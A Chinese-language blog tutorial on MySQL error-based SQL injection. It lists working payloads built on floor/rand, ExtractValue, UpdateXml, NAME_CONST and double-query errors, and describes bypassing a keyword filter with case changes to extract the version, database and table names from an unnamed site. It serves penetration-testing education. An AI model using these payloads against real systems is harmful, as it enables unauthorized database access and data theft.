標籤:顯錯注入 sql注入 mysql注入
在我們實際滲透中,明明發現一個注入點,本以為丟給sqlmap就可以了,結果sqlmap只顯示確實是注入點,但是資料庫卻擷取不了,1所示,這時我們可以使用手工進行注入,判斷出過濾規則以及基本過濾情況,然後再選擇對應的sqlmap指令碼(如果有的話),本文主要是講述如何通過mysql函數報錯來進行注入,另外如何使用手工進行全程注入的利用過程,如果你知道sqlmap裡面有對應的指令碼的話,煩請告知一下,謝謝!。
650) this.width=650;" src="https://s3.51cto.com/wyfs02/M02/A4/6E/wKioL1mrZdiAlu2WAAHAigyM4E8873.jpg-wh_500x0-wm_3-wmp_4-s_1890801678.jpg" title="1.jpg" alt="wKioL1mrZdiAlu2WAAHAigyM4E8873.jpg-wh_50" />
圖1 擷取資料庫失敗
此時我們可以考慮下是否是顯錯注入,對於顯錯注入我們可以使用mysql顯錯注入函數進行查詢資料庫資訊。
通過floor報錯:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2)))
通過ExtractValue報錯:
and extractvalue(1, concat(0x7f, (select version()),0x7f))
通過UpdateXml報錯:
and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))
通過NAME_CONST報錯:
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
通過錯誤的雙重查詢:
or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1
在這裡我們以UpdateXml報錯進行實戰示範,2是一個顯錯注入點。
650) this.width=650;" src="https://s4.51cto.com/wyfs02/M02/A4/6F/wKioL1mrbU-C0a8RAACQAXA8D38440.jpg-wh_500x0-wm_3-wmp_4-s_1012095351.jpg" title="2.jpg" alt="wKioL1mrbU-C0a8RAACQAXA8D38440.jpg-wh_50" />
圖2 顯錯注入點
此時我們將通過UpdateXml來進行SQL注入,這裡由於對關鍵字進行了過濾,因此我們需要使用大小寫來進行繞過,首先我們查詢資料庫版本,3所示,成功擷取了資料庫版本。
650) this.width=650;" src="https://s3.51cto.com/wyfs02/M01/A4/6F/wKioL1mrbkbjMtwoAAC9-K9ywNk540.jpg-wh_500x0-wm_3-wmp_4-s_3026743414.jpg" title="3.jpg" alt="wKioL1mrbkbjMtwoAAC9-K9ywNk540.jpg-wh_50" />
圖3 擷取資料庫版本資訊
擷取資料庫名,4所示。
650) this.width=650;" src="https://s5.51cto.com/wyfs02/M02/05/BD/wKiom1mrcKGjroMaAAC42nt38yI886.jpg-wh_500x0-wm_3-wmp_4-s_1853663715.jpg" title="4.jpg" alt="wKiom1mrcKGjroMaAAC42nt38yI886.jpg-wh_50" />
圖4 擷取資料名
擷取表名,5所示。
650) this.width=650;" src="https://s4.51cto.com/wyfs02/M01/05/BE/wKiom1mrcVKToMzTAAEBa6GYeo8084.jpg-wh_500x0-wm_3-wmp_4-s_2795074839.jpg" title="5.jpg" alt="wKiom1mrcVKToMzTAAEBa6GYeo8084.jpg-wh_50" />
圖5 擷取表名
後續操作請參考文章《mysql手工注入》,這裡不再進行累贅!
本文出自 “eth10” 部落格,請務必保留此出處http://eth10.blog.51cto.com/13143704/1962253
SQL注入之mysql顯錯注入